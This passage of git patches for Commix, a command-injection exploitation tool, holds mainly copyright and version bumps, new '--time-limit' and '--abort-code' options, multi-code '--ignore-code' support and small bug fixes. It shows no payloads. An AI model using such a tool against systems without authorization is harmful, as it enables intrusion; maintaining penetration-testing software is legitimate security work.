Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/__init__.py b/src/utils/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index d7a6bbc249..17c5b38474 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index c5b082c832..673e3ec8b7 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/crawler.py b/src/utils/crawler.py index db8a2bb416..4198a45bd0 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/install.py b/src/utils/install.py index 49968b9f7d..ae6c8765d6 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/logs.py b/src/utils/logs.py index b8f27c180e..eb26856789 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/menu.py b/src/utils/menu.py index 46297ca474..e08e7a12d1 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/purge.py b/src/utils/purge.py index 6dbf51a59f..50b7e8d887 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/requirments.py b/src/utils/requirments.py index fe90f0a0cd..66e05a0410 100644 --- a/src/utils/requirments.py +++ b/src/utils/requirments.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 7ab4a34765..7ed8b3e87f 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/settings.py b/src/utils/settings.py index 04796051a9..aee9638c2e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -257,7 +257,7 @@ def sys_argv_errors(): VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL -YEAR = "2014-2023" +YEAR = "2014-2024" AUTHOR_TWITTER = "@ancst" APPLICATION_URL = "https://commixproject.com" APPLICATION_TWITTER = "@commixproject" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index fd0796e7fe..be027717c8 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/update.py b/src/utils/update.py index 7be767c008..a9b17d7027 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/version.py b/src/utils/version.py index b39fc458c6..21631a378c 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From 16ce125cb8fa1a69677e79a0373a48bc08cef4d8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 15 Jan 2024 08:43:20 +0200 Subject: [PATCH 0387/1023] Fixes https://github.com/commixproject/commix/issues/884 --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d92bd2c040..e7b438d79e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1272,7 +1272,7 @@ def tamper_scripts(stored_tamper_scripts): err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." print(settings.print_critical_msg(err_msg)) raise SystemExit() - except ImportError as err_msg: + except (ImportError, ValueError) as err_msg: pass # Using too many tamper scripts is usually not a good idea. :P diff --git a/src/utils/settings.py b/src/utils/settings.py index aee9638c2e..a877ad974a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 36def7888d6c50a1f77596ac7998040fdeb563c6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 18 Jan 2024 09:09:20 +0200 Subject: [PATCH 0388/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2abc698a79..cf1a1c6cb2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. * Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). * Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) From bb2f35fc5eeb3c24d9479970e9c0a5382012dc0c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 19 Jan 2024 08:40:42 +0200 Subject: [PATCH 0389/1023] Updated to v3.9 --- doc/CHANGELOG.md | 4 +++- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cf1a1c6cb2..48e9f0eee2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.9 (TBA) +## Version 3.9 (2024-01-19) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. * Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). @@ -12,6 +12,8 @@ * Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish (via @Kazgangap) * Revised: Minor improvement regarding parsing SOAP/XML POST data. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.8...v3.9)._ + ## Version 3.8 (2023-08-14) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). diff --git a/setup.py b/setup.py index 62f49da7fa..ce4f3fd389 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.9-dev', + version='3.9-stable', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index a877ad974a..05bf5506ea 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -248,7 +248,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" REVISION = "44" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From e258151bf9ab480b41bcfc34222883a2da406fe9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 5 Feb 2024 15:57:30 +0200 Subject: [PATCH 0390/1023] Added new option `--time-limit` for running with a time limit in seconds (e.g. 3600) --- doc/CHANGELOG.md | 3 +++ setup.py | 2 +- src/core/requests/headers.py | 5 +++-- src/utils/menu.py | 5 +++++ src/utils/settings.py | 8 +++++--- 5 files changed, 17 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 48e9f0eee2..09f58da538 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 4.0 (TBA) +* Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). + ## Version 3.9 (2024-01-19) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. diff --git a/setup.py b/setup.py index ce4f3fd389..8050b15f93 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.9-stable', + version='4.0-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 167779c6c1..c3cf415680 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -150,8 +150,9 @@ def https_open(self, req): opener = _urllib.request.build_opener(connection_handler()) - # if len(settings.HTTP_METHOD) != 0: - # request.get_method = lambda: settings.HTTP_METHOD + # Time limit mechanism. + if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit): + raise SystemExit() _ = False response = False diff --git a/src/utils/menu.py b/src/utils/menu.py index e08e7a12d1..ede5b2f6ce 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -103,6 +103,11 @@ def banner(): default=None, help="Log all HTTP traffic into a textual file.") +general.add_option("--time-limit", + dest="time_limit", + type=float, + help="Run with a time limit in seconds (e.g. 3600).") + general.add_option("--batch", action="store_true", dest="batch", diff --git a/src/utils/settings.py b/src/utils/settings.py index 05bf5506ea..0a4c48040b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -246,9 +246,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.9" -REVISION = "44" -STABLE_RELEASE = True +VERSION_NUM = "4.0" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" @@ -273,6 +273,8 @@ def sys_argv_errors(): # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) +START_TIME = time.time() + # Readline READLINE_ERROR = False From f18d6f83a61345ce82699fba9f494a1787284d3c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 9 Feb 2024 07:47:57 +0200 Subject: [PATCH 0391/1023] Minor update --- src/utils/menu.py | 10 +++++----- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index ede5b2f6ce..b79507cbc5 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -130,7 +130,7 @@ def banner(): action="store", dest="charset", default=None, - help="Time-related injection charset (e.g. \"0123456789abcdef\")") + help="Time-related injection charset (e.g. '0123456789abcdef').") general.add_option("--check-internet", action="store_true", @@ -139,7 +139,7 @@ def banner(): general.add_option("--answers", dest="answers", - help="Set predefined answers (e.g. \"quit=N,follow=N\")") + help="Set predefined answers (e.g. 'quit=N,follow=N').") # Target options target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL, @@ -177,7 +177,7 @@ def banner(): target.add_option("--crawl-exclude", dest="crawl_exclude", default=None, - help="Regexp to exclude pages from crawling (e.g. \"logout\").") + help="Regexp to exclude pages from crawling (e.g. 'logout').") target.add_option("-x", dest="sitemap_url", @@ -185,7 +185,7 @@ def banner(): target.add_option("--method", dest="method", - help="Force usage of given HTTP method (e.g. PUT)") + help="Force usage of given HTTP method (e.g. 'PUT').") # Request options request = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Request" + Style.RESET_ALL, @@ -612,7 +612,7 @@ def banner(): action="store_true", dest="offline", default=False, - help="Work in offline mode.\n") + help="Work in offline mode.") misc.add_option("--wizard", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a4c48040b..e5f2e092e4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5b0527635d2cf73016122d9beb1a78dfe6caaf95 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 Feb 2024 08:19:13 +0200 Subject: [PATCH 0392/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 09f58da538..f617776d7d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -12,7 +12,7 @@ * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). -* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish (via @Kazgangap) +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish. (via @Kazgangap) * Revised: Minor improvement regarding parsing SOAP/XML POST data. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.8...v3.9)._ From 3e740b03033ef5e3ad95909c2e84e928f5c9f7f2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 Feb 2024 08:20:23 +0200 Subject: [PATCH 0393/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f617776d7d..5bb11f98a8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -169,7 +169,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: Six (third party) module has been added. * Revised: Improvement regarding parsing nested JSON objects that contain boolean values. * Replaced: The `--ignore-401` option has been replaced with `--ignore-code` option. -* Added: New option ( `--ignore-code`) for ignoring (problematic) HTTP error code (e.g. 401). +* Added: New option `--ignore-code` for ignoring (problematic) HTTP error code (e.g. 401). _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.9-20190626...v3.0-20191111)._ From 882ae43c2f6c6ead2c1faaad2007b7f1a67d4aec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 13 Feb 2024 07:39:42 +0200 Subject: [PATCH 0394/1023] Fixes https://github.com/commixproject/commix/issues/891 --- src/core/injections/controller/parser.py | 21 +++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 11 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 42537e22c1..620a20415c 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -152,16 +152,17 @@ def invalid_data(request): scheme = "https://" if re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() - menu.options.auth_type = auth_provided[0].lower() - if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() - elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: - if not menu.options.auth_cred: - print(settings.SINGLE_WHITESPACE) - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if auth_provided: + menu.options.auth_type = auth_provided[0].lower() + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if not menu.options.auth_cred: + print(settings.SINGLE_WHITESPACE) + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Add extra headers else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e5f2e092e4..44f148d0da 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6d645cec49980ef349b3ce83c77cad7a2cfa0777 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 15 Feb 2024 09:05:56 +0200 Subject: [PATCH 0395/1023] Added new option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) --- doc/CHANGELOG.md | 1 + src/core/main.py | 9 +++++++++ src/core/requests/headers.py | 13 ++++++++----- src/utils/menu.py | 6 ++++++ src/utils/settings.py | 5 ++++- 5 files changed, 28 insertions(+), 6 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5bb11f98a8..5e8b544d55 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) * Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). ## Version 3.9 (2024-01-19) diff --git a/src/core/main.py b/src/core/main.py index 976e6cca7b..e900c23c2b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -715,6 +715,15 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + # Check if defined "--abort-code" option. + if menu.options.abort_code: + try: + settings.ABORT_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.abort_code)] + except ValueError: + err_msg = "The option '--abort-code' should contain a list of integer values." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check if defined "--ignore-code" option. if menu.options.ignore_code and "," in menu.options.ignore_code: err_msg = "Ignoring more than one HTTP error code, is not yet supported." diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c3cf415680..cc603342e4 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -73,6 +73,11 @@ def http_response(headers, code): Print HTTP response headers / Body. """ def print_http_response(response_headers, code, page): + if int(code) in settings.ABORT_CODE: + err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. " + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 3: resp_msg = "HTTP response [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):" @@ -211,8 +216,7 @@ def https_open(self, req): # Checks for not declared cookie(s), while server wants to set its own. if not menu.options.drop_set_cookie: checks.not_declared_cookies(response) - if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file: - print_http_response(response_headers, code, page) + print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. checks.captcha_check(page) # Checks regarding a potential browser verification protection mechanism. @@ -232,9 +236,8 @@ def https_open(self, req): except Exception as ex: page = '' - if settings.VERBOSITY_LEVEL != 0: - print_http_response(err.info(), err.code, page) - + print_http_response(err.info(), err.code, page) + if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ diff --git a/src/utils/menu.py b/src/utils/menu.py index b79507cbc5..d485ddfbaf 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -289,6 +289,12 @@ def banner(): dest="auth_cred", help="HTTP authentication credentials (e.g. 'admin:admin').") +request.add_option("--abort-code", + action="store", + dest="abort_code", + default=False, + help="Abort on (problematic) HTTP error code(s) (e.g. 401).") + request.add_option("--ignore-code", action="store", dest="ignore_code", diff --git a/src/utils/settings.py b/src/utils/settings.py index 44f148d0da..5ed0fb462b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1269,6 +1269,9 @@ class AUTH_TYPE(object): # Skipped crawled hrefs HREF_SKIPPED = [] +# Abort on (problematic) HTTP error code (e.g. 401). +ABORT_CODE = [] + # Default crawling depth DEFAULT_CRAWLING_DEPTH = 1 From 55a124221e20681a9baaeaa43153a7fabe8bfb69 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 16 Feb 2024 10:08:18 +0200 Subject: [PATCH 0396/1023] Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 8 +++----- src/core/injections/controller/controller.py | 4 ---- src/core/main.py | 14 ++++++++++---- src/core/requests/requests.py | 10 +++++----- src/utils/menu.py | 2 +- src/utils/settings.py | 5 ++++- 7 files changed, 24 insertions(+), 20 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5e8b544d55..7a7a369f16 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. * Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) * Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e7b438d79e..7e0051c462 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -763,11 +763,8 @@ def check_bind_tcp_options(bind_tcp_option): """ def continue_tests(err): # Ignoring (problematic) HTTP error codes. - if menu.options.ignore_code: - for error_code in settings.HTTP_ERROR_CODES: - if menu.options.ignore_code == error_code: - settings.WAF_ENABLED = True - return True + if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): + return True # Possible WAF/IPS/IDS try: @@ -785,6 +782,7 @@ def continue_tests(err): message += "' and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: + settings.IGNORE_CODE.append(err.code) return True elif continue_tests in settings.CHOICE_NO: return False diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9b2398ad9a..be5634fd4c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -273,10 +273,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): inject_http_headers = True - if menu.options.ignore_code: - info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " - print(settings.print_info_msg(info_msg)) - # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): diff --git a/src/core/main.py b/src/core/main.py index e900c23c2b..dcd733cce3 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -725,10 +725,16 @@ def main(filename, url): raise SystemExit() # Check if defined "--ignore-code" option. - if menu.options.ignore_code and "," in menu.options.ignore_code: - err_msg = "Ignoring more than one HTTP error code, is not yet supported." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if menu.options.ignore_code: + try: + settings.IGNORE_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." + print(settings.print_debug_msg(debug_msg)) + except ValueError: + err_msg = "The option '--ignore-code' should contain a list of integer values." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check if defined "--wizard" option. if menu.options.wizard: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 27694409d4..48e4066293 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -96,7 +96,7 @@ def estimate_response_time(url, timesec): except _urllib.error.HTTPError as err: ignore_start = time.time() - if settings.UNAUTHORIZED_ERROR in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: pass else: if settings.VERBOSITY_LEVEL != 0: @@ -155,7 +155,7 @@ def estimate_response_time(url, timesec): else: # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) @@ -180,7 +180,7 @@ def estimate_response_time(url, timesec): # Digest authentication elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) @@ -316,7 +316,7 @@ def request_failed(err_msg): return False elif 